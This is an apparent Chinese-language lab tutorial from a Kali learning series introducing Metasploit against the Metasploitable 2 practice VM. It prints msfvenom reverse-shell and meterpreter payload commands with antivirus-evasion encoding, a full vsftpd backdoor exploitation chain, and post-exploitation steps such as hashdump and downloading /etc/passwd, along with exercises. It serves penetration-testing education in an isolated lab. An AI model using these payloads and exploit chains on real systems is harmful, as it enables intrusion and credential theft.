📚 网络安全 Kali 学习系列
模块 0 基础阶段 ✅ 已完成
01-18 Linux → 网络 → 密码学 → 编程 → Docker
模块 1 信息收集 ✅ 已完成 | 模块 2 Web渗透 ✅ 已完成
19-31 扫描 → 漏洞 → sqlmap → XSS → WAF绕过
模块 3 代码审计 ✅ 已完成
32-37 审计入门 → Node.js → PHP → Java → Python → CVE复现
模块 4 漏洞利用与后渗透(进行中)
38 Metasploit Framework 入门 ✓(本篇 · 模块4开启)
39 Payload生成 | 40 Linux提权 | 41 Windows提权 | 42 权限维持 | 43 免杀基础
Metasploit Framework 入门:从 exploit 到 session
网络安全 Kali 学习系列 · 第 38 篇 · 模块 4 漏洞利用与后渗透
读完本篇你将能:使用 Metasploit Framework 完成从漏洞搜索到获取 meterpreter 会话的完整链路,理解 exploit/payload/encoder 三层架构,掌握 session 管理和基础后渗透操作,在 Metasploitable 靶场上独立完成一次完整的渗透流程。
模块 3 学了代码审计——找到漏洞在哪里。模块 4 回答下一个问题:找到漏洞后怎么利用它?Metasploit Framework(简称 MSF)是渗透测试的瑞士军刀,集成了 2000+ 个 exploit 模块、500+ 个 payload 和大量后渗透工具。本篇从零开始搭建靶场,走通"搜索 exploit → 配置参数 → 生成 payload → 获取会话 → 后渗透"的标准流程。
目录
第一章 Metasploit Framework 概述与架构
第二章 Metasploitable 靶场搭建
第三章 exploit 搜索与选择
第四章 payload 类型与生成
第五章 实战:从扫描到获取 meterpreter
第六章 session 管理与后渗透操作
第七章 分级练习
第一章 Metasploit Framework 概述与架构
Metasploit Framework 由 HD Moore 于 2003 年创建,2009 年被 Rapid7 收购后分为社区版(免费)和商业版(Pro)。Kali Linux 自带社区版,覆盖渗透测试的核心功能。MSF 的设计哲学是"模块化"——每个漏洞利用是一个独立的 Ruby 脚本,每个 payload 是一个可注入的载荷,两者通过框架的标准接口组合使用。
1.1 三层架构
MSF 的核心由三类模块构成,理解它们的职责划分是使用 MSF 的前提:
1Exploit(漏洞利用模块):针对特定漏洞的利用代码。每个 exploit 定义了目标漏洞、支持的平台、需要的参数(RHOSTS、RPORT 等)。MSF 内置 2000+ 个 exploit,按操作系统和服务分类
2Payload(攻击载荷):exploit 成功后在目标上执行的代码。分为 singles(独立载荷)、stagers(连接建立器)和 stages(主载荷)。meterpreter 是最强大的 stage 载荷
3Encoder(编码器):对 payload 进行编码以绕过杀软检测。常见的有 x86/shikata_ga_nai、php/base64 等。编码不是加密,而是变换 payload 字节使其不匹配特征码
1.2 核心组件
Shell · MSF 核心组件一览
components.txt
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# msfconsole — 交互式控制台(主入口)
msfconsole -q
# msfvenom — 独立 payload 生成器
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f elf -o payload.elf
# msfdb — 数据库管理(存储主机信息、会话历史)
msfdb init
# msfrpcd — RPC 守护进程(供远程调用)
msfrpcd -U msf -P secret -a 0.0.0.0
# msfvenom 和 msfconsole 是日常使用最频繁的两个
|
msfconsole 是交互式控制台,所有操作都在这里完成。msfvenom 是独立的 payload 生成工具,用于在 msfconsole 之外生成可执行文件。msfdb 初始化 PostgreSQL 数据库,让 MSF 记录扫描结果和会话信息。三个工具配合使用,覆盖从信息收集到漏洞利用的完整流程。
第二章 Metasploitable 靶场搭建
Metasploitable 2 是 Rapid7 提供的故意留有漏洞的 Linux 虚拟机,包含 vsftpd 后门、SSH 弱口令、Tomcat 默认凭据、UnrealIRCd 后门等多个可利用服务,是学习 MSF 的标准靶场。
2.1 搭建步骤
Shell · Metasploitable 2 搭建
setup.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# 下载 Metasploitable 2 镜像
wget https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
# 解压后导入 VMware/VirtualBox
unzip metasploitable-linux-2.0.0.zip
# 网络设置为 Host-Only(隔离环境)
# 启动后默认凭据:msfadmin / msfadmin
# 从 Kali 扫描靶机
nmap -sS -sV 192.168.56.0/24 -oX metasploitable.xml
# 将 nmap 结果导入 MSF 数据库
msfconsole -q -x "db_import metasploitable.xml"
|
搭建后用 nmap 扫描,Metasploitable 2 开放了 20+ 个端口:21(vsftpd 2.3.4 后门)、22(SSH)、23(telnet)、445(Samba 3.0.20 用户名映射漏洞)、1524(反弹 shell 后门)、3306(MySQL)、5432(PostgreSQL)、6667(UnrealIRCd 后门)、8180(Tomcat 默认凭据)、8080(Jetty)等。每个端口对应一个可练习的 exploit。
💡 小贴士
Metasploitable 2 的 vsftpd 2.3.4 后门是最经典的 MSF 入门案例:发送特定用户名(以 :) 结尾)触发后门,vsftpd 在 6200 端口打开 shell。MSF 的 exploit/unix/ftp/vsftpd_234_backdoor 模块封装了整个利用过程。理解这个后门的工作原理后,后续每个 exploit 都遵循相似的配置流程。
第三章 exploit 搜索与选择
MSF 内置 2000+ 个 exploit 模块,面对扫描结果如何快速找到对应的 exploit?搜索是第一步技能。
3.1 搜索命令
Shell · MSF 搜索与选择
search.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# 启动 MSF 控制台
msfconsole -q
# 按服务名搜索
search name:vsftpd
# 按 CVE 编号搜索
search cve:2021-44228
# 按平台搜索
search platform:linux type:exploit
# 使用 exploit
use exploit/unix/ftp/vsftpd_234_backdoor
|
3.2 配置参数
选定 exploit 后,需要配置参数才能运行。最常用的参数有三个:
Shell · exploit 参数配置
config.sh
|
1
2
3
4
5
6
7
8
9
10
11
|
# 查看当前模块可用参数
show options
# 设置目标地址(必须)
set RHOSTS 192.168.56.102
# 设置目标端口(通常有默认值)
set RPORT 21
# 设置 payload(可选,有默认值)
set PAYLOAD cmd/unix/reverse
|
RHOSTS 是目标地址(注意复数 S,支持 CIDR 和范围),RPORT 是目标端口,LHOST 是攻击者监听地址(reverse payload 需要)。运行 show options 查看所有参数,带 Required=yes 的必须设置。
第四章 payload 类型与生成
Payload 是 exploit 成功后在目标上执行的代码。理解 payload 分类是灵活运用 MSF 的关键。
4.1 Payload 分类
•Bind Shell:目标机器打开端口等待连接。攻击者主动连接目标。适用于目标有公网 IP 或端口可达的场景
•Reverse Shell:目标机器主动回连攻击者。攻击者监听端口。适用于目标在 NAT 后或防火墙限制入站的场景。实战中最常用
•Meterpreter:MSF 专属高级载荷,运行在内存中(不落地文件),支持文件操作、截屏、键盘记录、路由转发等后渗透功能
•Staged vs Stageless:Staged 分两阶段(stager 建立连接后下载并执行 stage 主载荷),Stageless 一次性注入完整载荷。Staged 更小但需要网络回连
4.2 命名规则
Payload 名称遵循 平台/架构/载荷类型/连接方式 的格式。例如 linux/x64/meterpreter/reverse_tcp 表示:Linux 平台、x64 架构、meterpreter 载荷、反向 TCP 连接。理解命名规则后,可以快速拼出需要的 payload。
Shell · 常见 payload 生成
payloads.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# Linux ELF payload
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 -f elf -o shell.elf
# Windows EXE payload
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe
# Python payload(跨平台)
msfvenom -p python/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.py
# 加编码器(基础免杀)
msfvenom -p windows/meterpreter/reverse_tcp ... -e x86/shikata_ga_nai -i 3
|
msfvenom 的 -p 指定 payload 类型,-f 指定输出格式(elf/exe/raw/python/powershell),-e 指定编码器,-i 指定编码次数。生成的 payload 文件需要在目标机器上执行才能回连。下一篇会深入讲解 msfvenom 的高级用法。
第五章 实战:从扫描到获取 meterpreter
将前面的知识串联起来,在 Metasploitable 2 上完成一次完整的渗透:扫描 → 搜索 exploit → 配置参数 → 获取 meterpreter。
5.1 完整流程
Shell · 完整渗透链路
pentest.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
# 1. 启动 MSF 并初始化数据库
msfconsole -q
msf6 > db_init
# 2. 扫描目标并导入结果
msf6 > db_nmap -sS -sV 192.168.56.102
# 3. 查看发现的服务
msf6 > services
# 4. 搜索 vsftpd exploit
msf6 > search name:vsftpd
# 5. 选择并配置 exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set RHOSTS 192.168.56.102
# 6. 设置 payload 并执行
msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
msf6 exploit(...) > set LHOST 192.168.56.1
msf6 exploit(...) > exploit
# 成功后获得 shell 会话
|
第六章 session 管理与后渗透操作
exploit 成功后会创建一个 session(会话)。session 是攻击者与目标之间的交互通道。MSF 的 session 管理允许同时管理多个会话、在会话间切换、升级会话类型。
6.1 session 管理命令
Shell · session 管理命令
sessions.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# 查看所有活跃会话
sessions -l
# 进入指定会话
sessions -i 1
# 将 shell 升级为 meterpreter
sessions -U 1
# 在 meterpreter 中常用命令
sysinfo # 查看目标系统信息
getuid # 查看当前权限
hashdump # 导出密码哈希
shell # 进入系统 shell
|
最关键的操作是 sessions -U(升级):普通的 cmd/unix/reverse 只给你一个裸 shell,执行 sessions -U 1 会注入 meterpreter 载荷,将裸 shell 升级为功能丰富的 meterpreter 会话。升级后你可以用 download 下载文件、screenshot 截屏、portfwd 端口转发。
⚠️ 常见错误
exploit 执行后一直卡住等待
排查步骤:① 检查 LHOST 是否设为攻击者的真实 IP(不要用 127.0.0.1);② 检查目标防火墙是否阻止出站连接到 LPORT;③ 确认目标服务版本在 exploit 的支持范围内;④ 设置 set VERBOSE true 查看详细错误。
第七章 分级练习
🟢 基础练习:vsftpd 后门利用
练习 1:完整渗透流程
任务:在 Metasploitable 2 上完成 vsftpd 后门利用全流程。
① 用 db_nmap 扫描目标,确认 21 端口开放
② 搜索并选择 exploit/unix/ftp/vsftpd_234_backdoor
③ 配置 RHOSTS 和 LHOST,设置 reverse payload
④ 执行 exploit,获取 shell 会话
验证标准:在获取的 shell 中执行 id 和 whoami 确认身份。
🟡 进阶练习:session 升级与后渗透
练习 2:shell 升级为 meterpreter
任务:在练习 1 获取的裸 shell 基础上,升级为 meterpreter 并执行后渗透操作。
步骤:
1. 用 sessions -U 1 升级会话
2. 执行 sysinfo 查看系统信息
3. 执行 getuid 确认当前权限
4. 用 download /etc/passwd 下载密码文件
5. 用 shell 进入系统 shell
思考:为什么 meterpreter 比裸 shell 更强大?在什么情况下升级会失败?
🔴 高级练习:多服务利用
练习 3:Samba 用户名映射漏洞利用
任务:利用 Metasploitable 2 的 Samba 3.0.20 用户名映射漏洞(CVE-2007-2447)获取 meterpreter。
提示:
① 端口 445 运行 Samba 3.0.20
② 搜索 search name:samba usermap
③ 该漏洞通过 RPC 的 username 字段注入命令
④ 获取 meterpreter 后尝试 hashdump 提取密码哈希
验证标准:获取 root 权限的 meterpreter 会话。
知识回顾
MSF 三层架构
exploit/payload/encoder
msfconsole
msfvenom
Metasploitable 2
vsftpd 后门
bind vs reverse shell
meterpreter
session 管理
shell 升级
下一篇预告
📚 网络安全 Kali 学习系列 · 第 39 篇
Payload 生成与会话管理
深入 msfvenom 的高级用法:多种格式 payload 生成、编码器组合、监听器配置。专题讲解 meterpreter 的文件操作、进程迁移、路由转发等后渗透功能。
网络安全 Kali 学习系列 · 模块 4 漏洞利用与后渗透 · 第 38 篇
学安全,为守护 · 用安全,为建设